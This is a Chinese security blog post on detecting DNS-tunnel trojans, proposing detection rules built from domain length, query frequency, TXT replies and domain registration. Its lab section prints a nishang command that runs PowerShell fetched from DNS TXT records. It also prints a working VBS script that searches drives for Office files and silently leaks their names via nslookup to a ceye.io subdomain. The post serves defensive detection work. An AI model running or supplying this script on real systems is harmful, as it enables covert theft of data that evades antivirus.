一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案

时间:2022-04-29
本文章向大家介绍一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案,主要内容包括正文:、结论:、实验验证分析:、Powershell dns实验验证:、利用ceye.io的外传实验验证、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

随着dns隧道应用的越来越广泛,尤其是xshell事件被公布以后,各大公司纷纷启动对dns隧道的监控,参考xshell的逻辑,大多数公司采取了“监控多个终端请求异常长度域名”的检测方案,其中注重检出率的公司为了提高检出率(当然会提高误报率)进一步降低了多终端的数量,采取了“单个终端请求了异常长度的域名”的方案来发现所有疑似dns隧道木马。

笔者前阵子突然发现几台机器频繁解析诡的域名,如下:

经过紧张的排查定位确认为浏览器的某插件导致,相关全域名存在注册记录,非dns隧道木马,为误报。大家都松了口气,但是也引起了反思,怎么才能更精准的发现真正的dns隧道木马?

大数据分析?够高大上!但落地成本高,复杂度也高,对于一般公司来说很难实施,为此笔者从dns隧道的原理和黑客的思路入手分析,提出一些简单的检测方案,仅供参考!

正文:

原理分析:

众所周知,dns隧道木马外传数据是利用1、过长的不存在的域名(其中随机数即为外传数据)2、txt回包作为回传数据(更新配置、模块等),详细分析这种利用开放53端口(可广义理解为漏洞)的传输方式的技术:

1、**通用外传方式分析**

a) 方式1:利用本机dns配置,发送域名请求,通过递归到达黑客控制的dns服务器(坏人需拥有或拿下dns服务 器) b) 方式2:更改本机dns配置,配置为8.8.8.8等公共dns,然后通过递归外传到达黑客控制的dns服务器 c) 方式3:直接构造dns包体,发送到8.8.8.8等公共dns,然后利用递归外传到达黑客控制的dns服务器 d) 方式4:直接构造dns包体,发送到本机dns服务器,然后利用递归外传到达黑客控制的dns服务器 e) 方式5:直接构造dns包体,发送到自己控制的dns服务器,直接获取数据

2、**安全取证分析**

a) 方式1:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅能看到系统svchost.exe进行了dns请求,但一旦发现异常可通过配置dns黑名单止损 b) 方式2:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅可获取dns配置被更改的日志,但无法获取谁更改的,仅能看到系统svchost.exe进行了dns请求,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损 c) 方式3:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),同样,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损 d) 方式4:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),但一旦发现异常可通过配置dns黑名单止损 e) 方式5:此方式可获取哪个进程发起了dns请求,但直接暴露黑客dns位置,可通过直接屏蔽恶意dns目的止损

3、**恶意进程和黑dns服务器交互分析**

a) 恶意进程仅用超长域名记录外传数据,不利用txt回包获取回传数据,不利用A记录回包作为C&C地址,纯窃取敏感信息的木马就是利用此方式,这行情况下:

i. dns服务器无需提供解析服务,即dns服务器可以无回包 ii. dns服务器如提供解析服务返回解析的ip地址,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

b) 恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,不利用A记录回包作为C&C地址,xshell就是利用此方式,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包 ii. dns服务器需提供解析服务,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

c) 恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,并利用A记录回包作为C&C地址,此方式不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包 ii. 本机程序对解析出的A记录发起访问(有socket通信)

d) 恶意进程用超长域名记录外传数据,不利用txt回包获取回传数据,但利用A记录回包作为C&C地址,但此方式多为正常程序使用,不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有回包,但是A记录类型 ii. 本机进程对此A记录进行访问关注,即本机进程对解析结果地址发包

结论:

完成外传方式分析、取证分析、恶意进程和黑dns服务器交互分析等三部分的分析后,我们已完全掌握黑客的伎俩,接下来我们再深入分析下,首先,我们结合下黑客的心理,黑客利用dns隧道的目的是绕过防御(如禁止外联)、躲避流量检测(如snort特征码检测)、躲避ioc检测(如外联恶意ip、恶意域名)等,那黑客必然不会对dns相关(如解析出的ip)的ip进行额外的通信,如http、socket等,既是存在非dns通信也是通过txt回包获取c&c罢了,这样才可以充分利用dns的隐蔽性。其次我们从黑客入侵的目的出发,入侵的最终目的无非是为了窃取数据外传,窃取单个账号密码只是中间过程,最终还是为了窃取大量数据,那利用dns怎么外传大量数据呢,超长域名*频率就是外传的数据量,仅超长域名不排除在外传账号密码等少量新的可能性,但高频率就一定在大量外传了。第三从域名注册角度分析,dns必然涉及到域名问题,假设正在请求的超长域名已存在注册记录,那必然不是dns隧道方式,因注册记录是固定的,能承载的信息也就是固定的,一定不可能是外传的数据。

通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下:

方向1:特征检测:

检测窃密木马(无需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】

检测远控木马(需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】

通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):

{【存在txt回包】and 【不存在全域名注册记录】} or {【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】}

方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):

单台机器检测: 域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警

群体事件检测: A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个) + B +… > 多台机器阈值,评测外传数据大小,达到阈值则触发报警

实验验证分析:

为验证此方案的逻辑正确性,笔者实验如下:

Xshell实验验证:

1、直接运行xshell,触发dns行为

2、外传结果抓包:

3、检测逻辑匹配分析:

a) 外传域名超长 b) 频率较高 c) 类型为TXT,有回包 d) 无A记录解析结果,也就无程序对结果发起访问 e) 不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)

结论:窃密木马+远控木马

Powershell dns实验验证:

1、利用powershell构造dns隧道

a) 编写一个最简单的一句话脚本,获取服务列表

b) 使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录

c) 在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)

验证结果,ok

d) 使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。

命令和结果如下:

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

2、外传结果抓包:

使用Microsoft Network Monitor抓包分析

3、检测逻辑匹配分析:

a) 因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名 b) 因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率 c) 类型为TXT,有回包 d) 无A记录解析结果,也就无程序对结果发起访问 e) 此实验场景未覆盖外传数据,所以不涉及注册问题

结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)

利用ceye.io的外传实验验证

1、 少量信息窃取和大量信息窃取

a) 单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名

b) 多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 ( 代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改):

'On ErrorResume NextSet fso =CreateObject("Scripting.FileSystemObject")toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")'ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"ConstDRIVE_LETTERS="o"''''''''''''开始搜索CallScanDrives()                      ''''''''''''''''''''SubScanDrives()     Dim drives     drives=Split(DRIVE_LETTERS,":")     For Each drv In drives        If fso.DriveExists(drv) Then             Set drive=fso.GetDrive(drv)            If drive.isReady Then                CallScanFiles(drive.RootFolder)            End If        End If     Next End Sub '''''''''''' SubScanFiles(folder)     For Each this_file In folder.Files        On Error Resume Next        Call FindKeyFile(this_file)        WScript.Sleep 1     Next    For Each this_folder In folder.SubFolders        On Error Resume Next        Call ScanFiles(this_folder)        WScript.Sleep 1     Next    End Sub '''''''''''查找特定文件 SubFindKeyFile(file)    On Error Resume Next   For Each tool_name In toolsName         'WScript.Echo          ''''将文件名都转为大写匹配         IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then             DnsStr= file.name &".xxxxxxx.ceye.io"        ''''进行静默nslookup上传                         setobjShell=wscript.createObject("wscript.shell")                      objShell.exec("%comspec% /c nslookup " & DnsStr)             End If     Next End Sub

2、外传结果展示:

a) 单次少量信息窃取外传

b) 多次大量信息窃取

3、检测逻辑匹配分析:

a) 利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)

b) 对解析A记录结果无后续访问

c) 不存在全域名注册记录

结论:窃取数据木马